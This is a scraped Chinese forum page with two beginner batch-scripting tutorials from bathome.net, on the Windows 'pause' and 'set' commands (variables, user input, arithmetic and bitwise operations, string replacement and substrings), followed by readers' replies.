B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:23, Processed in 0.034357 second(s), 8 queries, Gzip enabled.


43、暂停执行：pause

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（43）暂停执行：pause
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-28 15:22 | 只看该作者

[原创] 【续】[一日一教学]（43）暂停执行：pause

本帖最后由 Hello123World 于 2011-8-28 18:23 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 暂停批处理程序，并显示以下消息:

  2.     请按任意键继续. . .
复制代码
命令概括：
pause，全英文pause，意为：暂停。

参数详解：
就简单而论，跟cls命令可谓是伯仲之间。

如同帮助信息所说，就是暂停，等待用户回车之后，执行下一条语句。

例如：
  1. @echo off

  2. echo 慷慨歌燕市，从容作楚囚。

  3. echo 引刀成一快，不负少年头。

  4. Pause

  5. echo “曲线救国”的汪精卫都能做出这样的诗，我辈怎敢不自勉。

  6. pause
复制代码
不少新手在写批处理文件的时候，都忘记加这一句到末尾，总是各种初级问题：
为什么没有显示，黑框一闪就没了？
例如：
  1. @echo off

  2. echo 慷慨歌燕市，从容作楚囚。

  3. echo 引刀成一快，不负少年头。

  4. echo “曲线救国”的汪精卫都能做出这样的诗，我辈怎敢不自勉。
复制代码
为什么呢？这究竟是为什么呢？哈~

xiaoshenyang说：这个就是因为你没有在句尾加上pause，是纯爷们以后记得加上，哈~~

扩展阅读：

1.pause暂停之后总是会出现提示，可以屏蔽吗？
例如：
  1. C:\Users\helloworld\Desktop>pause

  2. 请按任意键继续. . .
复制代码
这个提示是可以屏蔽的，但是暂停，等待输入回车的效果还在。
例如：
  1. C:\Users\helloworld\Desktop>pause>nul
复制代码
2.怎么更改暂停的提示信息？

其实只要结合前面所学的echo即可。
例如：
  1. @echo off

  2. echo hello

  3. echo 等待回车中ing…… & pause>nul
复制代码
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
2楼
发表于 2011-8-28 16:59 | 只看该作者
纯基础
纯爷们
回复 引用

评分 报告 TOP

CUer
  • 发短消息
  • 加为好友

CUer 当前离线

UID
24385
帖子
522
精华
0
积分
1037
PB
854
技术
61
捐助
0
阅读权限
50
在线时间
238 小时
注册时间
2010-4-30
最后登录
2011-10-20

上尉

帖子
522
积分
1037
技术
61
捐助
0
注册时间
2010-4-30
3楼
发表于 2011-8-28 17:35 | 只看该作者
能否在最后那块加上怎样修改pause命令的提示信息？经常初学者问
1

评分人数

    • Hello123World: 你若时时提醒，这个教程可以更完善点。PB + 3
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
4楼
发表于 2011-8-28 18:19 | 只看该作者
因该说是这套
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

wrsbj
  • 发短消息
  • 加为好友

wrsbj 当前离线

UID
70144
帖子
13
精华
0
积分
24
PB
24
技术
0
捐助
0
阅读权限
5
在线时间
0 小时
注册时间
2015-1-1
最后登录
2015-1-2

列兵

帖子
13
积分
24
技术
0
捐助
0
注册时间
2015-1-1
5楼
发表于 2015-1-2 16:38 | 只看该作者
楼主写的不错，很喜欢
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:24, Processed in 0.045742 second(s), 8 queries, Gzip enabled.


44、设置变量：set

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:
加载中...

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（44）设置变量：set
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-12-7 11:30 | 只看该作者

[原创] 【续】[一日一教学]（44）设置变量：set

本帖最后由 Hello123World 于 2011-12-22 17:35 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 显示、设置或删除 cmd.exe 环境变量。

  2.

  3. SET [variable=[string]]

  4.

  5.   variable  指定环境变量名。

  6.   string    指定要指派给变量的一系列字符串。

  7.

  8. 要显示当前环境变量，键入不带参数的 SET。

  9.

  10. 如果命令扩展被启用，SET 会如下改变:

  11.

  12. 可仅用一个变量激活 SET 命令，等号或值不显示所有前缀匹配

  13. SET 命令已使用的名称的所有变量的值。例如:

  14.

  15.     SET P

  16.

  17. 会显示所有以字母 P 打头的变量

  18.

  19. 如果在当前环境中找不到该变量名称，SET 命令将把 ERRORLEVEL

  20. 设置成 1。

  21.

  22. SET 命令不允许变量名含有等号。

  23.

  24. 在 SET 命令中添加了两个新命令行开关:

  25.

  26.     SET /A expression

  27.     SET /P variable=[promptString]

  28.

  29. /A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式

  30. 评估器很简单并以递减的优先权顺序支持下列操作:

  31.

  32.     ()                  - 分组

  33.     ! ~ -               - 一元运算符

  34.     * / %               - 算数运算符

  35.     + -                 - 算数运算符

  36.     << >>               - 逻辑移位

  37.                        - 按位“与”

  38.     ^                   - 按位“异”

  39.     |                   - 按位“或”

  40.     = *= /= %= += -=    - 赋值

  41.       &= ^= |= <<= >>=

  42.     ,                   - 表达式分隔符

  43.

  44. 如果您使用任何逻辑或取余操作符， 您需要将表达式字符串用

  45. 引号扩起来。在表达式中的任何非数字字符串键作为环境变量

  46. 名称，这些环境变量名称的值已在使用前转换成数字。如果指定

  47. 了一个环境变量名称，但未在当前环境中定义，那么值将被定为

  48. 零。这使您可以使用环境变量值做计算而不用键入那些 % 符号

  49. 来得到它们的值。如果 SET /A 在命令脚本外的命令行执行的，

  50. 那么它显示该表达式的最后值。该分配的操作符在分配的操作符

  51. 左边需要一个环境变量名称。除十六进制有 0x 前缀，八进制

  52. 有 0 前缀的，数字值为十进位数字。因此，0x12 与 18 和 022

  53. 相同。请注意八进制公式可能很容易搞混: 08 和 09 是无效的数字，

  54. 因为 8 和 9 不是有效的八进制位数。(& )

  55.

  56. /P 命令行开关允许将变量数值设成用户输入的一行输入。读取输入

  57. 行之前，显示指定的 promptString。promptString 可以是空的。

  58.

  59. 环境变量替换已如下增强:

  60.

  61.     %PATH:str1=str2%

  62.

  63. 会扩展 PATH 环境变量，用 "str2" 代替扩展结果中的每个 "str1"。

  64. 要有效地从扩展结果中删除所有的 "str1"，"str2" 可以是空的。

  65. "str1" 可以以星号打头；在这种情况下，"str1" 会从扩展结果的

  66. 开始到 str1 剩余部分第一次出现的地方，都一直保持相配。

  67.

  68. 也可以为扩展名指定子字符串。

  69.

  70.     %PATH:~10,5%

  71.

  72. 会扩展 PATH 环境变量，然后只使用在扩展结果中从第 11 个(偏

  73. 移量 10)字符开始的五个字符。如果没有指定长度，则采用默认

  74. 值，即变量数值的余数。如果两个数字(偏移量和长度)都是负数，

  75. 使用的数字则是环境变量数值长度加上指定的偏移量或长度。

  76.

  77.     %PATH:~-10%

  78.

  79. 会提取 PATH 变量的最后十个字符。

  80.

  81.     %PATH:~0,-2%

  82.

  83. 会提取 PATH 变量的所有字符，除了最后两个。

  84.

  85. 终于添加了延迟环境变量扩充的支持。该支持总是按默认值被

  86. 停用，但也可以通过 CMD.EXE 的 /V 命令行开关而被启用/停用。

  87. 请参阅 CMD /?

  88.

  89. 考虑到读取一行文本时所遇到的目前扩充的限制时，延迟环境

  90. 变量扩充是很有用的，而不是执行的时候。以下例子说明直接

  91. 变量扩充的问题:

  92.

  93.     set VAR=before

  94.     if "%VAR%" == "before" (

  95.         set VAR=after

  96.         if "%VAR%" == "after" @echo If you see this, it worked

  97.     )

  98.

  99. 不会显示消息，因为在读到第一个 IF 语句时，BOTH IF 语句中

  100. 的 %VAR% 会被代替；原因是: 它包含 IF 的文体，IF 是一个

  101. 复合语句。所以，复合语句中的 IF 实际上是在比较 "before" 和

  102. "after"，这两者永远不会相等。同样，以下这个例子也不会达到

  103. 预期效果:

  104.

  105.     set LIST=

  106.     for %i in (*) do set LIST=%LIST% %i

  107.     echo %LIST%

  108.

  109. 原因是，它不会在目前的目录中建立一个文件列表，而只是将

  110. LIST 变量设成找到的最后一个文件。这也是因为 %LIST% 在

  111. FOR 语句被读取时，只被扩充了一次；而且，那时的 LIST 变量

  112. 是空的。因此，我们真正执行的 FOR 循环是:

  113.

  114.     for %i in (*) do set LIST= %i

  115.

  116. 这个循环继续将 LIST 设成找到的最后一个文件。

  117.

  118. 延迟环境变量扩充允许您使用一个不同的字符(惊叹号)在执行

  119. 时间扩充环境变量。如果延迟的变量扩充被启用，可以将上面

  120. 例子写成以下所示，以达到预期效果:

  121.

  122.     set VAR=before

  123.     if "%VAR%" == "before" (

  124.         set VAR=after

  125.         if "!VAR!" == "after" @echo If you see this, it worked

  126.     )

  127.

  128.     set LIST=

  129.     for %i in (*) do set LIST=!LIST! %i

  130.     echo %LIST%

  131.

  132. 如果命令扩展被启用，有几个动态环境变量可以被扩展，但

  133. 不会出现在 SET 显示的变量列表中。每次变量数值被扩展时，

  134. 这些变量数值都会被动态计算。如果用户用这些名称中任何

  135. 一个定义变量，那个定义会替代下面描述的动态定义:

  136.

  137. %CD% - 扩展到当前目录字符串。

  138.

  139. %DATE% - 用跟 DATE 命令同样的格式扩展到当前日期。

  140.

  141. %TIME% - 用跟 TIME 命令同样的格式扩展到当前时间。

  142.

  143. %RANDOM% - 扩展到 0 和 32767 之间的任意十进制数字。

  144.

  145. %ERRORLEVEL% - 扩展到当前 ERRORLEVEL 数值。

  146.

  147. %CMDEXTVERSION% - 扩展到当前命令处理器扩展版本号。

  148.

  149. %CMDCMDLINE% - 扩展到调用命令处理器的原始命令行。
复制代码
.

命令概括：

set，意为“设置”。
variable，意为“变量”；
/a，arithmetic，意为“算术”（感谢demon的英文提供）。
/p，prompt，意为“提示”；

参数详解：

先从光杆的set命令说起。

1.显示当前所有环境变量

输入：
  1. set
复制代码
.

效果：
  1. ALLUSERSPROFILE=C:\ProgramData

  2. APPDATA=C:\Users\helloworld\AppData\Roaming

  3. CommonProgramFiles=C:\Program Files\Common Files

  4. COMPUTERNAME=HELLOWORLD-PC

  5. ComSpec=C:\Windows\system32\cmd.exe

  6. FP_NO_HOST_CHECK=NO

  7. HOMEDRIVE=C:

  8. HOMEPATH=\Users\helloworld

  9. LOCALAPPDATA=C:\Users\helloworld\AppData\Local

  10. LOGONSERVER=\\HELLOWORLD-PC

  11. NUMBER_OF_PROCESSORS=2

  12. OS=Windows_NT

  13. Path=C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Common Files\Thunder Network\KanKan\Codecs;C:\Program Files\Windows Live\Shared

  14. PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

  15. PROCESSOR_ARCHITECTURE=x86

  16. PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 13, GenuineIntel

  17. PROCESSOR_LEVEL=6

  18. PROCESSOR_REVISION=0f0d

  19. ProgramData=C:\ProgramData

  20. ProgramFiles=C:\Program Files

  21. PROMPT=$P$G

  22. PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

  23. PUBLIC=C:\Users\Public

  24. SESSIONNAME=Console

  25. SystemDrive=C:

  26. SystemRoot=C:\Windows

  27. TEMP=C:\Users\HELLOW~1\AppData\Local\Temp

  28. TMP=C:\Users\HELLOW~1\AppData\Local\Temp

  29. USERDOMAIN=helloworld-PC

  30. USERNAME=helloworld

  31. USERPROFILE=C:\Users\helloworld

  32. windir=C:\Windows
复制代码
.

2.显示以指定字符串开头的环境变量

显示以“p”开头的环境变量。
代码：
  1. set p
复制代码
.

效果：
  1. Path=C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Windows\syst

  2. em32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v

  3. 1.0\;C:\Program Files\Common Files\Thunder Network\KanKan\Codecs;C:\Program File

  4. s\Windows Live\Shared

  5. PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC

  6. PROCESSOR_ARCHITECTURE=x86

  7. PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 13, GenuineIntel

  8. PROCESSOR_LEVEL=6

  9. PROCESSOR_REVISION=0f0d

  10. ProgramData=C:\ProgramData

  11. ProgramFiles=C:\Program Files

  12. PROMPT=$P$G

  13. PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

  14. PUBLIC=C:\Users\Public
复制代码
.

显示以“path”开头的环境变量。
代码：
  1. C:\Users\helloworld\Desktop>set path
复制代码
.

效果：
  1. Path=C:\Program Files\Common Files\Microsoft Shared\Windows Live;C:\Windows\syst

  2. em32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v

  3. 1.0\;C:\Program Files\Common Files\Thunder Network\KanKan\Codecs;C:\Program File

  4. s\Windows Live\Shared

  5. PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
复制代码
.

3.直接给变量赋值

变量有两个属性，一是变量名，二是变量值。

建议使用c语言的变量名命名规则：“只能由数字、下划线、字母构成，且不能以数字开头”！

批处理中变量名不能以数字开头，且变量名中不能含有“=”，其它可以随意（脚本的好处，也是脚本的坏处）。

代码：
  1. @echo off

  2. Set a=hello world

  3. echo %a%

  4. pause>nul
复制代码
.

将字符串“hello world”赋值给变量a，并输出变量a的值。

“=”左边是变量名，“=”右边是变量的值。

4.等待用户输入变量值

这一节讲的就是/p参数的常规运用。

代码：
  1. @echo off

  2. net start Schedule

  3. ::开启at服务

  4. Set /p stime=请输入定时关机时间(例如：23:59)：

  5. at %stime% shutdown /s /t 0

  6. pause
复制代码
.

这个代码的作用就是，等待用户输入一个时间，然后就会在指定时间关机。

前面说过“=”右边的是变量值，但是这里却不是变量值，而是提示信息，用户输入的字符串才是变量值，因为在set 中加了 /p参数！

5.set的计算功能

set的计算功能可以说是set中最繁杂的一种功能，但你不能不承认——它确实很强大。

①.怎么进行加减乘除？
代码：
  1. @echo off

  2. ::加

  3. Set /a n1=1+1

  4. ::减

  5. Set /a n2=2-1

  6. ::乘

  7. Set /a n3=2*3

  8. ::除

  9. Set /a n4=8/2

  10. echo 和：%n1%，差：%n2%，积：%n3%，商：%n4%

  11. pause>nul
复制代码
.

可以看出，不论进行哪一种算术运算都含有/a参数，其实不仅仅是算术运算，所有的运算都离不开/a参数。

②.怎么求余数（取模）？

批处理中有一项专门用来求余数的运算符“%”。

在命令行下：
  1. C:\Users\helloworld\Desktop>set /a 9%4

  2. 1
复制代码
.

在批处理文件中：
  1. @echo off

  2. Set /a n=9%%4

  3. echo %n%

  4. pause>nul
复制代码
.

可能有人会问：“为什么一个运算符，在命令行和批处理文件中会出现不同的写法呢”，其实写法还是没有变的，都是“%”，只不过%符号比较特殊，在批处理中要先进行一次转义（而%又只能用%转义），看到这里可能你还是不明白，这里可以做一个实验——实验要求：输出一个%。

在命令行下：
  1. C:\Users\helloworld\Desktop>echo %

  2. %
复制代码
.

在批处理文件中：
  1. @echo off

  2. echo %%

  3. pause>nul
复制代码
.

③.复合算术运算符

复合运算符一共有10个，其中复合算术运算符有5个，它们分别是“+=，-=，*=，/=，%=”。

复合运算符只要使用得当，可以很好的节省代码量。

先看一个例子：

计算1-100这100个数字的和。
  1. @echo off

  2. Set n=0

  3. for /l %%i in (1 1 100) do Set /a n=n+%%i

  4. echo %n%

  5. pause>nul
复制代码
.

这个代码中Set /a n=n+%%i，第二个n的两边没有“%”，按照常规，变量在引用时，要在变量名两边加上“%”——set /a的特性就是在引用变量时，可以省略 “%”（当然你也可以不省略——但强烈建议你省略）。

用复合算术运算符简写：
  1. @echo off

  2. Set n=0

  3. for /l %%i in (1 1 100) do Set /a n+=%%i

  4. echo %n%

  5. pause>nul
复制代码
.

对比两个代码，唯一的差别就是 n=n+%%i 与 n+=%%i。

难道n+=%%i就是 n=n+%%i的意思？

事实上也是如此，而且5个复合算术运算符都是这种意思。

“变量1 复合运算符 变量2” 就等于“变量1=变量1 对应的算术运算符 变量2”。

例如：
n*=3 就是 n=n*3。

建议新手跳过第④小节的讲解，免得转的头晕。

④.位运算符

前面讲解的运算符都是对于字节的运算，但是位运算符却是对于更小的单位——位，进行运算（1字节=8位）。

进行位运算符的学习，需要对2进制有所了解，懂得简单的 10进制 to 2进制 的相互转换，而且要对原码、反码、补码的概念有所了解。

10进制=（8位）2进制补码：

9=0000 1001
5=0000 0101
-9=1111 0111

④.1.按位与运算符（&）

没错，它和and(echo hello & echo world)一摸一样，但是在此处它是按位与(Set /a 9^&5)。

这里，为了方便后面的教学，我们暂且将1称为真，0称为假。
  1. C:\Users\helloworld\Desktop>set /a 9^&5

  2. 1

  3. C:\Users\helloworld\Desktop>set /a -9^&5

  4. 5
复制代码
.

为什么写成^&?

跟前面的求余数运算符是一样的道理，由于&符比较特殊，所以需要转义（%必须由%转义，&必须要^转义）。

9和5、-9和5按位与的结果分别为1，5，Why？

位运算就是要用10进制数对应的二进制补码进行运算，然后再将运算得到的二进制补码换算成10进制数输出（这是计算机本身特性决定的，不知道你还记不记的大明湖畔的夏雨荷——计算机科学的基础就是：0，1）。

9： 0000 1001
&
5： 0000 0101
---------------------
1： 0000 0001

-9：1111 0111
&
+5：0000 0101
---------------------
+5：0000 0101

按位与运算，就是“同真为真，其余为假”，在同一位上都是1运算结果才是1，其余都是0.

④.2.按位或运算符(|)

“|”符号在set /a 之外还有“管道”的用法，但是在set /a 中它只是按位或（由于|符号的特殊性，在运用时也要在前面加转义符——^|）。

.
  1. C:\Users\helloworld>set /a 5^|9

  2. 13

  3. C:\Users\helloworld>set /a 5^|-9

  4. -9
复制代码
.

9： 0000 1001
|
5： 0000 0101
---------------------
13： 0000 1101

-9：1111 0111
&
+5：0000 0101
---------------------
-9：1111 0111

按位或运算，就是“一真便真，全假才假”，同一位上只要一个是1，那结果就是1，只有全部是0，结果才是0.

结合前面的按位与（&）运算来看，其实按位与（&）和按位或（|）就是一种比较运算，比较同一位上的0或1的异同，得出结果。

④.3.逻辑移位

逻辑移位运算符有两个：<< ，>>，分别表示向左移位，向右移位。

向左移位（<<）
  1. C:\Users\helloworld\Desktop>set /a 9^<^<2

  2. 36
复制代码
.

9： 0000 1001
<<
2
---------------------
36: 0010 0100

把二进制补码向左移动两位(不足的在右边补零)，然后换算成10进制数得出结果（向左移是将数变大）。

语法：set /a 被移数<<移位数

计算公式：结果=被移数*（2的移位数次方）

例如：9<<2 == 9*（2的2次方） ==36

向右移位（>>）
  1. C:\Users\helloworld\Desktop>set /a 9^>^>2

  2. 2
复制代码
.

9： 0000 1001
>>
2
---------------------
2: 0000 0010

把二进制补码向右移动两位（多余的剔除——这里剔除了最后一个1），然后换算成10进制数得出结果（向右移是将数变小）。

语法：set /a 被移数>>移位数

计算公式：结果=被移数/（2的移位数次方）

例如：9>>2 == 9/（2的2次方） == 2

逻辑移位运算符的特性可以加以利用，来计算数值的偶数倍、偶数半：

比如 9 的 2倍，即 Set /a 9^<^<1

比如 9 的 1/2，即 Set /a 9^>^>1

④.4.按位异或运算符（^）
按位异或运算符也是个特殊符号（转义符），所以在使用的时候也要转义（^^）。
  1. C:\Users\helloworld\Desktop>Set /a 9^^5

  2. 12

  3. C:\Users\helloworld\Desktop>Set /a -9^^5

  4. -14
复制代码
.

9： 0000 1001
^
5： 0000 0101
---------------------
12： 0000 1100

-9：1111 0111
^
+5：0000 0101
---------------------
-14：1111 0010

按位异或运算，就是“不同为真，相同为假”，相同位都是1或都是0，结果就是0，其余结果都是1.

④.5.复合位运算

结合前面的复合算术运算符和位运算符，复合位运算就不难理解。

例如：(&=)运算符
  1. @echo off

  2. Set n1=9

  3. Set /a n1^&=5

  4. echo %n1%

  5. pause
复制代码
.

结果为1。

所以，“n1^&=5”就相当于“n1=n1^&5”（“&”需要转义）。

同理，“ n1^^=5”就相当于“n1=n1^^5”；"n1^|=5"就相当于“n1=n1^|5”

"n1^<^<=2"就相当于“n1=n1^<^<2”.

位运算就在这里结束了，其中“! ~ - ”这三个 “一元运算符”都没有讲解。

6.逗号运算符

如果两个变量的值都是数字，而不是字符串，就可以用set /a 中的逗号运算符一次性赋值。

例子：
  1. @echo off

  2. Set /a a1=5,a2=5

  3. echo %a1% %a2%

  4. pause
复制代码
.

结果：
  1. 5 5
复制代码
.

如果变量值是字符串，用这种方法就会出错。

例如：
  1. @echo off

  2. Set /a a1=5,a2=5a

  3. echo %a1% %a2%

  4. pause
复制代码
.

结果：
  1. 无效数字。数字常数只能是十进制(17)，十六位进制(0x11)或

  2. 八进制(021)。

  3. 5
复制代码
.

只输出了a1的值，a2没有输出，因为a2的值是字符串。

看起来像字符串的16进制数。

例如：
  1. @echo off

  2. Set /a a1=5,a2=0x15

  3. echo %a1% %a2%

  4. pause
复制代码
.

结果：
  1. 5 21
复制代码
.

“0x15”中0x是16进制数前缀（等于10进制数21）。
"015"中0是8进制数前缀（等于10进制数13）。

7.替换变量中的字符串

①.将变量中指定字符串替换成其它字符串

例如：
将字符串中的“o”替换为“-”。
  1. @echo off

  2. Set str=helloworld

  3. Set str=%str:o=-%

  4. echo %str%

  5. pause
复制代码
.

结果：
  1. hell-w-rld

  2. 请按任意键继续. . .
复制代码
.

②.异样替换，删除变量中的指定字符串

删除变量中的指定字符串其实就是将指定字符串替换为空值。

例如：
将字符串中的“o”删除。
  1. @echo off

  2. Set str=helloworld

  3. Set str=%str:o=%

  4. echo %str%

  5. pause
复制代码
.

结果：
  1. hellwrld

  2. 请按任意键继续. . .
复制代码
.

字符串替换还支持通配符“*”。
例如：
将第一个字符“o”前面的字符（包括“o”）全部删除。
  1. @echo off

  2. Set str=helloworld

  3. Set str=%str:*o=%

  4. echo %str%

  5. pause
复制代码
.

结果：
  1. world
复制代码
.

8.截取字符串

截取字符串就是将一个字符串中指定的部分提取出来。

例如，我要截取字符串“一二三四五六七八九十”中的“三四五”，有四种写法：
  1. @echo off

  2. Set a=一二三四五六七八九十

  3. Set a1=%a:~2,3%

  4. Set a2=%a:~2,-5%

  5. Set a3=%a:~-8,3%

  6. Set a4=%a:~-8,-5%

  7. echo %a1% %a2% %a3% %a4%

  8. pause
复制代码
.

为什么这四种写法都能实现要求？
要解释会有很多种说法，我这里只能给出一句记忆口诀：
第一数，起始点。正左右，负右左。偏移！
第二数，结束点。正左右，负右左。终止！

解释第一句：“第一数，起始点。正左右，负右左。”就是“第一个数是起始点，如果是正数就从左往右数，如果是负数就从右往左数”。

以这一句为例，“Set a1=%a:~2,3%”

2是第一个数，而且是正数，所有从左往右数2个数：一二，“偏移！”就是移位。——起始点！

3是第二个数，也是正数，所有也从左往右数（从起始点开始数）3个数，三四五，“终止”！——终止点！

9.“输入光杆set，不会显示出来的”环境变量

%CD% - 扩展到当前目录字符串。

%DATE% - 用跟 DATE 命令同样的格式扩展到当前日期。

%TIME% - 用跟 TIME 命令同样的格式扩展到当前时间。

%RANDOM% - 扩展到 0 和 32767 之间的任意十进制数字。

%ERRORLEVEL% - 扩展到当前 ERRORLEVEL 数值。

%CMDEXTVERSION% - 扩展到当前命令处理器扩展版本号。

%CMDCMDLINE% - 扩展到调用命令处理器的原始命令行。

扩展阅读：

无
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

Demon
  • 发短消息
  • 加为好友

Demon 当前离线

UID
24826
帖子
766
精华
1
积分
1451
PB
1090
技术
117
捐助
0
阅读权限
50
在线时间
2328 小时
注册时间
2010-5-12
最后登录
2016-6-13

上尉

帖子
766
积分
1451
技术
117
捐助
0
注册时间
2010-5-12
2楼
发表于 2011-12-7 12:03 | 只看该作者
a也许是arithmetic的缩写吧。
1

评分人数

    • Hello123World: 多谢提供，已更新。PB + 6
http://demon.tw
回复 引用

评分 报告 TOP

powerbat
  • 发短消息
  • 加为好友

powerbat 当前离线

UID
29086
帖子
752
精华
0
积分
4553
PB
4136
技术
139
捐助
0
阅读权限
90
在线时间
1004 小时
注册时间
2010-8-24
最后登录
2016-8-22

大校

帖子
752
积分
4553
技术
139
捐助
0
注册时间
2010-8-24
3楼
发表于 2011-12-22 17:57 | 只看该作者
写教程最好结合参考英文版的帮助，chcp 437。
script56
新加坡Google
回复 引用

评分 报告 TOP

zh_1452
  • 发短消息
  • 加为好友

zh_1452 当前离线

UID
65134
帖子
68
精华
0
积分
75
PB
75
技术
0
捐助
0
阅读权限
10
在线时间
36 小时
注册时间
2014-2-28
最后登录
2016-3-20

上等兵

帖子
68
积分
75
技术
0
捐助
0
注册时间
2014-2-28
4楼
发表于 2014-6-29 21:01 | 只看该作者
本帖最后由 zh_1452 于 2014-7-20 13:31 编辑
  1. @echo off

  2. set /a str=9^&5

  3. echo %str%

  4. pause

  5. @echo off

  6. set /a str=-9^&5

  7. echo %str%

  8. pause

  9. @echo off

  10. set/a str=5^|9

  11. echo %str%

  12. @echo off

  13. set /a str=5^|-9

  14. echo %str%

  15. pause

  16. @echo off

  17. set /a str= 9^<^<2

  18. echo %str%

  19. pause

  20. @echo off

  21. set /a str=9^>^>2

  22. echo %str%

  23. pause

  24. @echo off

  25. set /a str=9^^5

  26. echo %str%

  27. pause

  28. @echo off

  29. set /a str=-9^^5

  30. echo %str%

  31. pause

